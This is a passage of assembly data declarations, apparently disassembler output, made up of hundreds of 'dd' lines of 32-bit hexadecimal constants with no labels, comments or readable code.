		dd 3465E1h, 0D1ABC98Dh,	0E0BFD9B7h, 72351900h, 7627741Fh
		dd 6278014Ah, 3F368349h, 0D0C9C9B5h, 93000ED7h,	0A243B237h
		dd 90AD38h, 0E46A3A1Dh,	0ECB9E8A9h, 0EDF0CF01h,	3B5003F4h
		dd 69F12FE1h, 0EF3F0h, 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h
		dd 93283E0Ah, 98A3036Bh, 0D3C3A1B3h, 11E0DC88h,	0AA393F00h
		dd 850C62D4h, 498000C8h, 12A71DCCh, 5E07C735h, 998767E7h
		dd 0FC1BF90h, 0C8533B31h, 0CF19ABC8h, 0D9338E74h, 7649D840h
		dd 7F785400h, 0DF7C947Ah, 1CF2007Eh, 9D3C3406h,	52001D4Ch
		dd 5E1E589Eh, 901F649Fh, 7873762Bh, 0F4915483h,	0F8BCFCB3h
		dd 1B8700C3h, 39272035h, 673D4447h, 0A757004Ch,	0E76FC769h
		dd 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h, 3604003Ch
		dd 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h, 0C3146C81h
		dd 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h, 39BA00B3h
		dd 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h, 76F20074h
		dd 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh, 27B7398Eh
		dd 61C547BEh, 0BF3A8400h, 723B0EC8h, 0EC7400B9h, 0AF3C051Ch
		dd 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h, 0E83CC024h
		dd 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h, 0A33A9333h
		dd 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh, 6093B0E4h
		dd 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h
		dd 0E40535h, 920FE80Bh,	7C2C7A74h, 3B49361Dh, 4E543F8Eh
		dd 0CF6B8E5Eh, 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h
		dd 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h,	9E758473h
		dd 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh
		dd 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh,	9F1E1FF3h
		dd 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh,	80F61FFFh
		dd 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh
		dd 56404ECFh, 661A0FD6h
		dd 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h
		dd 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h
		dd 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh, 2746CB3Eh
		dd 14E75638h, 0F466E55Eh, 7EF27603h, 0F9D92EC9h, 6406C8F4h
		dd 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h, 548E4C4Eh
		dd 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh
		dd 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h,	3EEC3FE4h
		dd 40260F4h, 3A0C3B39h,	1C00143Ah, 2C3D243Ch, 3F77343Eh
		dd 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh, 8C7E847Eh
		dd 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h, 24DC05D4h
		dd 4E87AAE4h, 487FC20h,	195B03Ch, 671C4714h, 602C8424h
		dd 253CC93h, 7CFEC77Fh,	40E884E7h, 7ED492A3h, 0CE74BC72h
		dd 0FE00CCFh, 80FA5FF4h, 7404723Dh, 140C7608h, 0BB481078h
		dd 1C396548h, 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh, 743F703Fh
		dd 2C64783Fh, 987C9280h, 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh
		dd 0DC80D87Dh, 0EDEE059h, 1C3E0114h, 248B204Eh,	0A72CE427h
		dd 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h, 0FC80F87Ch
		dd 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h
		dd 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h, 0D930D12Ch
		dd 38E13934h, 4E405C92h, 4C884830h, 8815ABA9h, 0AF902AADh
		dd 3F309849h, 91A422A0h, 49E0122Ah, 2E24E82Ch, 0F83093F0h
		dd 8C99F0F7h, 130F6010h, 612501D4h, 51347882h, 0F96890F3h
		dd 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h, 0C05DB003h
		dd 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh, 83A0431h
		dd 383C665Ch, 2E403D00h, 4C9F6844h, 4B500097h, 6EA7586Ch
		dd 7054E760h, 9CEC98A6h, 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h
		dd 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h,	0CA30008h
		dd 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h,	60E5015Ch
		dd 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah
		dd 0D22C4862h, 0E0F82400h, 48045D33h, 3C00D7ACh, 0B2142E10h
		dd 960E1C9Fh, 214F1720h, 60CF5C22h, 68D164C9h, 70E16CD9h
		dd 78F00471h, 0AB7C07CBh, 12BC8732h, 2249C0E7h,	7C2426C8h
		dd 0DC00D87Eh, 3974ECE6h, 4D3A1434h, 200B1018h,	5A8E243Dh
		dd 0FDFF2C20h, 4873029Fh, 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch
		dd 887E847Eh, 904AE0B8h, 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h
		dd 0E0CC4FD8h, 4CE472CFh, 782E5CE8h, 592400CCh,	0B35C9228h
		dd 38F47F13h, 20B88F01h, 0DA2474BAh, 78CC927Ch,	7C8C7A88h
		dd 98C3A090h, 0A01E0E0Fh, 0B840A4CFh, 5C61D8C9h, 488DE458h
		dd 0C0FDB058h, 0E4140036h, 0ED3CE834h, 44095670h, 4F848F4h
		dd 49D25094h, 419A4A58h, 0E2F1C688h, 0CDF8F9F9h, 718001B2h
		dd 56775938h, 0FC6D7158h, 4104623Bh, 6ED16A40h,	976BEA0h
		dd 7EF17AE9h, 2C869D61h, 818E259Fh, 582896A1h, 0CE605065h
		dd 3093CA6h, 1A630A02h,	0A2607083h, 0DB0092A8h,	4A904926h
		dd 0AD9AFD1h, 320AE0E4h, 0A748009Fh, 81331C50h,	0F9B9D07h
		dd 36A034B5h, 4F274Ah, 1ED35B45h, 50B0D2ABh, 0EF007EE0h
		dd 3A0E215Dh, 388B3B65h, 9F00A72Eh, 4B0216D8h, 273347F2h
		dd 0F08282E6h, 0DCC7BCh, 713905E1h, 0B5D19CC9h,	64C2D901h
		dd 3F8EAAEh, 0E41E3AF4h, 2B0E0058h, 704E6B3Bh, 0CF00788Eh
		dd 21B30BA2h, 613C7150h, 0D8A5437Fh, 5DDE302Eh,	76B07403h
		dd 0C3CE98EAh, 0C269C347h, 7ACD6077h, 9D7C2696h, 0C84D0B16h
		dd 0C0EB6084h, 72F2512h, 47780203h, 989B6787h, 12AEFEh
		dd 940CF188h, 30050708h, 0D824A509h, 805489E0h,	0CF3ABD28h
		dd 3219010Eh, 8E3F4E2Bh, 0FB7E48Bh, 0FB4FEC00h,	26330A83h
		dd 0A25F0093h, 86C6496Dh, 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h
		dd 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h, 9FE51EE0h,	0F017EBh
		dd 3403876Fh, 2A0F2421h, 0C45385h, 0F85056A0h, 1C960055h
		dd 0CE4F6712h, 8272CF79h, 0B100A874h, 1A62BAC9h, 2C640h
		dd 9224B35h, 0A4216618h, 11360800h, 6A24CCC9h, 3739000Bh
		dd 3B343A19h, 58733C3Dh, 7E3E6B04h, 3880873Fh, 707B525h
		dd 0EBE7DD0Ah, 223850E1h, 610F2BC9h, 5D4DD95Dh,	0F17FE940h
		dd 3DB0F9A1h, 0FC288C24h, 0B12E2F6h, 2A3B223Ah,	473D2580h
		dd 1C1F6424h, 52563284h, 0EC6D8E00h, 7BF073h, 0C0F880F4h
		dd 0C85D9EBAh, 0D02EA000h, 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h
		dd 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h, 10B00008h, 0BA18B274h
		dd 20005DB4h, 0B8282EB6h, 0F64B3097h, 0BCA50038h, 48BED240h
		dd 500FC0E9h, 0C058C274h, 0C6605DC4h, 0C868002Eh, 0CA4B7097h
		dd 0CC01A578h, 88CED280h, 5761D0E9h, 0BA98DCh, 0D6A05CD4h
		dd 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h
		dd 3C010BEEh, 0D910DE91h, 2CFC7318h, 2EE10028h,	0E54067E2h
		dd 0E44CCC48h, 0B960092Dh, 97A980E6h, 0EE83378h, 0EA90F288h
		dd 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h
		dd 0AA3CD805h, 9D82E43Fh, 0EB75602Eh, 99FA00ABh, 24E920F8h
		dd 210B2CF1h, 8B38F9F2h, 500990ACh, 1FC4009Eh, 8960925Ch
		dd 4012806h, 1102214Ah,	4FF0FF3Eh, 780A0070h, 4E5B7A57h
		dd 0FA16095Fh, 5001A1BBh, 97C9893Fh, 0C60434h, 0C32DAE1h
		dd 88609020h, 300B0F00h, 48493327h, 0EA3B00D6h,	0E8ADF2Ch
		dd 13F68D35h, 67A8A707h, 86317247h, 9BE49187h, 0D3A603C4h
		dd 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h, 424C0B8h,	0E4937h
		dd 3C233BBEh, 4102672Dh, 0E74BC70Eh, 8E5F4E55h,	73CF69h
		dd 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h
		dd 96050A27h, 8C8003C0h, 0E53A0Fh, 28798A1h, 27CB3BBFh
		dd 0EA47D800h, 193C9D61h, 3E560060h, 0E974B272h, 8A003750h
		dd 3F62E1A0h, 15D0770h,	75312E30h, 0FCD31524h, 5213A24Bh
		dd 760088E9h, 342B50E0h, 356D001Ch, 0DDBF5C36h,	0D8005DCBh
		dd 6144EADEh, 1E09537h,	60EDF332h, 0C09C482Ch, 8700FB1Dh
		dd 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh, 1C3E2E84h
		dd 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h, 4900E60Eh
		dd 550BF1CFh, 0E940427h, 0C964B047h, 0A41B78E0h, 303C810Fh
		dd 0D14F8006h, 3D60286Bh, 170E00E3h, 2F491F31h,	6E014841h
		dd 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h,	0E86C18A0h
		dd 0E2ECA3h, 22F4FDF0h,	3A3E3339h, 983B8000h, 0EE3DB33Ch
		dd 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h, 80C060EAh
		dd 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h, 0D78EB84Eh
		dd 12F03DCFh, 43F100F0h, 936D391Dh, 9901A392h, 7470CCB2h
		dd 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h, 4E3C8000h
		dd 313D1642h, 0D4B40249h, 1B097E6Ch, 64610040h,	0FFD9FA01h
		dd 0D8C082E3h, 2496E0h,	8430170Bh, 38A0DE3Bh, 0E8FF3Dh
		dd 1DF612F2h, 0FE27FAh,	0F437B02Dh, 0B25AF849h,	734A6601h
		dd 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h
		dd 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h
		dd 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh
		dd 0AEB00472h, 4A0C76h,	18320F10h, 20CF1C8Fh, 284C9DE5h
		dd 34C82C81h, 60C85C9Fh
		dd 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h, 72F988F6h
		dd 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h, 0B892D400h
		dd 0E04DDC7Eh, 67983Ah,	1007EC2Dh, 0E4F8E7F4h, 42D3FC00h
		dd 0A22C9324h, 2E91C30h, 0F13CC038h, 6844F940h,	66011C4Eh
		dd 10542E50h, 5CA05344h, 0F498F090h, 1F52949Ch,	9FA89FA4h
		dd 92B085ACh, 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h
		dd 10010F1Bh, 83840B3Ah, 0DC42C29h, 3D604D1h, 803E873Ch
		dd 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh
		dd 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h,	741A0172h
		dd 0D7C4A78h, 69B03084h, 0D62D8A0Fh, 0EBFB0007h, 5407849h
		dd 0F03C6E68h, 4BC68070h, 0E7B0212Dh, 0B745AB03h, 98D662D3h
		dd 2DEFE2E3h, 6F004EE8h, 0F8895961h, 587E3C5Ch,	7E5C59h
		dd 3D0283DDh, 0AB9322h,	0A73E19A0h, 27E8CAE4h, 33033FE2h
		dd 67521687h, 0A593A873h, 700827B5h, 0E000E674h, 0C77230F8h
		dd 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h, 7F49038h
		dd 4E560032h, 331883D7h, 88739250h, 0B300667Ah,	8FD2300Fh
		dd 0FBCFE6h, 0EC2708C9h, 0E0224418h, 0B62C4BE4h, 9F005CAAh
		dd 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh
		dd 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h, 6015760Dh
		dd 5217A74h, 2F7E297Ch,	0C0D11CCFh, 274BC945h, 0E7395DF6h
		dd 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h, 13F8BCC2h
		dd 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h, 0D64B2483h
		dd 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh, 49B592A7h
		dd 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h, 12E38h
		dd 1E13E2A6h, 14FDC17h,	28823302h, 0F8508F38h, 39000A16h
		dd 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h, 7F0B96EEh
		dd 0D6BC83h, 0E4CF3D80h, 3E2D000Bh, 36740417h, 29029EB0h
		dd 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h, 398595DBh
		dd 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h,	88F981AFh
		dd 1670092Ah, 4F221D50h, 0A08EC798h, 33E190E0h,	3400C213h
		dd 59EC4AC6h, 0E6195D6h, 72692CD8h, 50CEAEC0h, 2CB0AD84h
		dd 52382700h, 0E05A3E05h, 92620026h, 5B6A7EBAh,	0EA090B72h
		dd 0EC617Ah, 5FE98643h,	7BE0024h, 0FE4AC90h, 17FE13E8h
		dd 0BA3E04B8h, 0D33E6782h, 0E01CD722h, 9D2730h,	92AA1DA6h
		dd 89BE5EA7h, 2F2B3E02h, 60A414C0h, 1BD3A3Dh, 9425FF4h
		dd 0EC51019Ch, 0A0006012h, 6CE868E6h, 0FC3108CEh, 32350087h
		dd 33092139h, 0B100C90Dh, 5F343CD0h, 0F40B40h, 0C832E1C0h
		dd 765E41EAh, 257AC90Bh, 0D3430462h, 0F8838580h, 0F6743FACh
		dd 0B914FA80h, 1790BD38h, 80623900h, 793A7578h,	0E87D03E4h
		dd 5D3B2659h, 0C3B8B4CBh, 0A300B734h, 3D43B0BBh, 207E49Fh
		dd 3A1A3E48h, 2740240Fh, 1F71FAACh, 127E23ECh, 0C326161Dh
		dd 0F3A2EF00h, 3A508084h, 5780BC08h, 8AB8AE30h,	3101430Bh
		dd 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h, 0BF3C34A6h, 0DE7459D8h
		dd 997F500h, 7BBCC95Ah,	3C9100D9h, 3FAF3E6Ch, 0F3002DE7h
		dd 0A012A205h, 0EC249Ah, 0F42CF028h, 0F2AAA338h, 2A680E0Bh
		dd 96058347h, 713F898h,	12140037h, 3FB24BDCh, 5E006C24h
		dd 0FC7778E0h, 88BE84h,	0CF39C307h, 0E147D627h,	0B8EB6400h
		dd 3A080E40h, 4E7D1Ah, 3C703389h, 787C527Ah, 248E7E39h
		dd 49000CBDh, 0E03A2CC7h, 0F5F2583Bh, 0A007D148h, 703D0E20h
		dd 0D74BCB3Eh, 0F6542702h, 63A5FC87h, 0BC28F892h, 44F20E10h
		dd 0D8C0A135h, 9D301411h, 1D720201h, 0C0DC9697h, 732A260h
		dd 924FE443h, 7A6E80D8h, 94004974h, 60CFD6D0h, 5C9E7Ch
		dd 5880DA12h, 9A1B340Fh, 3A51F60Eh, 60F8E0B2h, 72FC5C90h
		dd 98B5A7Fh, 908FAAF3h,	0CEBAE680h, 4A125276h, 1903825Fh
		dd 0F3B0C324h, 9854F0D6h, 37E0018Eh, 5C84204Ch,	0FC38204Eh
		dd 0D0B0EA04h, 81EA6894h, 213B121Fh, 34DF204Fh,	0CEF0B603h
		dd 1F9E9Ch, 1B3C10FCh, 43FA0729h, 0F04F6500h, 7BF86E6Ch
		dd 9C3200B8h, 1F06267Ch, 0BF0293B3h, 0F3DE7283h, 0FAD668E6h
		dd 5D6A7A70h, 0BB00D011h, 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h
		dd 8C8170B0h, 9F0100CEh, 0B8C9AB30h, 1A03093Ah,	5E08D00Fh
		dd 5D78A835h, 2469000Bh, 0FCBC7AD2h, 0A1E4993Fh, 87A92501h
		dd 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h, 3F2F7A0h, 740068F0h
		dd 783E9822h, 574946h, 259B3FA8h, 41E462A5h, 0F8FEAC00h
		dd 9354338Fh, 0ECEA01F6h, 3904F0F5h, 6DCF4034h,	8100752Dh
		dd 433509E8h, 1F284FC9h, 406E3CAAh, 0A8D0877Fh,	0E401B6E7h
		dd 84BA85BFh, 26CCA0DEh, 167C0094h, 28AED94Ch, 9302F27Eh
		dd 0F9B0A6C9h, 761350B6h, 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h
		dd 324EEE0h, 0EA924210h, 0C08C5056h, 23745A94h,	0F2906603h
		dd 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h
		dd 20D1140Fh, 2FE140D9h, 7F13BE9h, 6C0B2B44h, 7BC0BE58h
		dd 0FCB778A0h, 79DC300h, 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh
		dd 8B000F80h, 78D09349h, 22A95Bh, 9CD8D39Ah, 7F72DA98h
		dd 768F7400h, 0BCB5AA2h, 8C084C78h, 42D11E00h, 1D880E2Eh
		dd 9F294E00h, 3D4D3CFBh, 5D3E0157h, 0E4876827h,	938FC882h
		dd 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h
		dd 7B5AE067h, 1C1F4CBCh, 80E79FA4h, 0A0FD92F3h,	0B2E4219Eh
		dd 96581D03h, 0D0C4C264h, 58B88EC9h, 6C005BF9h,	0E3F2E04h
		dd 8C059230h, 0F4AF56A0h, 48058F80h, 0C8B23AF6h, 0B4398900h
		dd 24C433CEh, 742EA201h, 0A044128Eh, 5FB26660h,	0B44F0EAEh
		dd 0E9C0BE8Eh, 0E310413h, 28050790h, 4BF045ECh,	0A2923C80h
		dd 0F6F034Fh, 88CF815Ch, 0ADCBA390h, 27F06112h,	0E13E5D80h
		dd 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh, 598D1609h,	0A2B11214h
		dd 3FDA3F94h, 58FC00F2h, 3A1939ECh, 443B2C2Fh, 623D0049h
		dd 2437A27h, 8A34813Fh,	96351EC9h, 973E803Ch, 95AAC277h
		dd 0B87E7170h, 0C3E203AAh, 6F2FD30h, 0AF7462D8h, 9B74E04h
		dd 27B0D044h, 0F9E4E5h,	5F1DFF4Ch, 8952640Eh, 560241EAh
		dd 3881E975h, 2EB541Ch,	22C12EB3h, 428336E0h, 21A3181Eh
		dd 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h, 610FAAC9h
		dd 0F9BDE8h, 0FCF4BC34h, 38390008h, 3B2D3A12h, 4B003C43h
		dd 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h, 390CE440h
		dd 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch, 814FEEB8h
		dd 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h, 5B4EC03Eh
		dd 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh,	0E28B043h
		dd 0E005C2D9h, 1E0392D8h, 20B449EAh, 0C02CEA3Bh, 0F416Fh
		dd 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h
		dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh
		dd 996E80CCh, 9F0FA34Eh, 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h
		dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h,	133F0AC2h
		dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h
		dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh,	760EC359h
		dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h
		dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh
		dd 0AC3825C0h, 6005070Bh
		dd 0E6C593CEh, 2504180h, 0C314034Fh, 5DB3285Ah,	0B2D381A8h
		dd 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh,	0F0817C90h
		dd 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh, 0FA702C60h
		dd 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h,	4B037946h
		dd 7E5FCEEh, 853D7E58h,	2E0591B0h, 16A101ABh, 0FCCFCE20h
		dd 92F1C8DFh, 1101CC7Ah, 84321E36h, 0F840563Bh,	22824Ch
		dd 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h, 3A94E124h
		dd 27AE38D3h, 1E200FC5h, 0B3329201h, 0F0C14768h, 0F1A0E288h
		dd 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h, 83E04E15h
		dd 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h,	859FEDD6h
		dd 5AFE9170h, 8056B03Ah, 0F8A6F490h, 9A94ABh, 0AAA0D813h
		dd 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh, 423000BCh
		dd 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh, 98A8BB2Eh
		dd 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h, 6CC7D461h
		dd 7405EE14h, 0F83B1F84h, 84629F96h, 80F99EBAh,	4E740C38h
		dd 9D9A2D38h, 6B805678h, 0CFA2E80Fh, 0EECB00E5h, 34030E41h
		dd 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h, 890083F9h
		dd 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh, 184E00FCh
		dd 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h, 0C0D375A2h
		dd 0EB53CAAh, 0E27E0E50h, 95DF140h, 430E2506h, 63AF3487h
		dd 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh, 3EB18404h
		dd 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h,	71F3F9EFh
		dd 6CFBD038h, 70EFA05h,	0FD000D3Fh, 37CF258Eh, 4F3D380Fh
		dd 1E558F9Eh, 0C96D8067h, 4EC05881h, 50839502h,	74C8F3BAh
		dd 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h, 3C533Bh
		dd 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h,	0C4C2A09Ch
		dd 36AF4B8h, 0F6C97831h, 1000D9BDh, 2775760Bh, 64B5E0h
		dd 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h,	0DBC600A2h
		dd 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh, 6CE1918Bh
		dd 539DF999h, 0F2A5FC00h, 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh
		dd 840E879Fh, 8251673Dh, 0C08CF872h, 8EC19Eh, 90093E82h
		dd 4F92F08Ah, 7C42E6E5h, 0A27E3A40h, 0C2AA4A00h, 887CEAB2h
		dd 0E0120313h, 5DE84982h, 987A9CD8h, 7E0EACFAh,	0E0E959C0h
		dd 253A110Eh, 3BFA005Fh, 3D613C4Dh, 0B27B3E87h,	0E5072D9Eh
		dd 0E4708464h, 1F11B58Ch, 6CAB9Ch, 9302F624h, 8600C218h
		dd 0C0E48457h, 9085E808h, 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh
		dd 5BA25001h, 0CB4C0BC3h, 0A4392EDDh, 0FDB0C7Bh, 311EF754h
		dd 2D921C09h, 80418BC9h, 2171FE4Dh, 33B01F28h, 0D1C300B9h
		dd 344CD8D3h, 0AC394F2Eh, 36E9A300h, 0EAF8E1EFh, 0BF50002h
		dd 0FFD131FDh, 820787DAh, 4C35272Dh, 49F044E0h,	4749Fh
		dd 97C2A076h, 87260BB7h, 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh
		dd 54BB7E22h, 0C70B9EBFh, 80508BB5h, 0F34BE1B1h, 3F80561h
		dd 8342092Eh, 23D83E61h, 0C23B3A84h, 305C8351h,	77937B1Fh
		dd 70980186h, 34AC5D5Eh, 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh
		dd 580A12h, 4A3074FEh, 44F6C838h, 0F8919500h, 0FA272B50h
		dd 36A41EFBh, 3A564045h, 0DC9270E8h, 4AA97400h,	0E0CC5FD5h
		dd 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h, 9511F003h,	0F0998A04h
		dd 0EC0F5E2h, 9C8F3263h, 9EA81D60h, 0E30016BAh,	93F726E1h
		dd 41747h, 0F8C26334h, 9EC669D7h, 95A7C00h, 0A966374Fh
		dd 968500A0h, 6E50920Eh, 0CE0F7E49h, 602E7824h,	0B08E16AEh
		dd 0F0EB121Ch, 0D2740042h, 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h
		dd 4BBEA8h, 3DF28329h, 0F0E947B2h, 0E68F5E50h, 7EC97305h
		dd 9D87DA70h, 0AB5A9D50h, 0BE443EC2h, 0D21FA400h, 0F8490D97h
		dd 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah, 0C9960767h, 0AE24F29Eh
		dd 0BE748E58h, 93FC600h, 2AE4D68Eh, 3D030013h, 260F097h
		dd 7D003E2Fh, 3F217081h, 4386C29h, 4C26453Bh, 500ABAEh
		dd 0C811E088h, 39EA015Ch, 2D663A2Fh, 0A7868076h, 0A8CEBC24h
		dd 3C0F5CDCh, 414F3300h, 0F07E3409h, 0D85D9C00h, 50BA5CC0h
		dd 953800D7h, 0A0596685h, 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh
		dd 0C58B7B1Dh, 1380E112h, 5EFCF04Dh, 0E4168800h, 5014C609h
		dd 44762CD8h, 607A013Ch, 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh
		dd 0EAE41B4Eh, 46CF0034h, 0CC38C003h, 4B00DD92h, 0B2F0BDE4h
		dd 9E9CA8h, 0D126C26h, 0E82972E0h, 6A9A3700h, 8549807Ah
		dd 0C72700DAh, 9CC11642h, 0CC4C68D6h, 0EC80B14h, 727D003Ch
		dd 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h, 509BB0E7h, 6898B038h
		dd 101CEA00h, 2F92153Fh, 0D6282CE0h, 8E9F03FEh,	32B009B6h
		dd 6800C19Ch, 0D136C926h, 3A49D93Eh, 5E87B228h,	70617F2Fh
		dd 960B3FA0h, 24D8B50Bh, 0C4B88098h, 0DAC954h, 50859DD3h
		dd 15CAE0DDh, 2931260Fh, 92626088h, 0AE8276h, 2C7C7E9Eh
		dd 3249017Ah, 4D334200h, 0EC3C80C9h, 84D7002Fh,	0F6F819DAh
		dd 0C101BC27h, 166EE9D8h, 0DA300964h, 0B89C0058h, 4C897898h
		dd 1C0091A5h, 4E9D4636h, 169E5E1Dh, 0B0831E66h,	0A800ACA7h
		dd 746C72BBh, 0E27693h,	69385C12h, 0B27C2683h, 6600C9E8h
		dd 0F9B4F1A1h, 27BCAh, 0C390516h, 17A34AC3h, 0C223B300h
		dd 7E06702Fh, 525E0040h, 0C968660Fh, 36094188h,	0D96C6494h
		dd 69201EBh, 0CC4A74B0h, 0E6724009h, 3A024200h,	2CC2104Eh
		dd 70E8FC3Ch, 28682641h, 2A8E3F4Bh, 0FA00D34Ch,	0DD315230h
		dd 34293300h, 84A7672h,	0AB0C1C0Bh, 0D3E640h, 58C98D5Eh
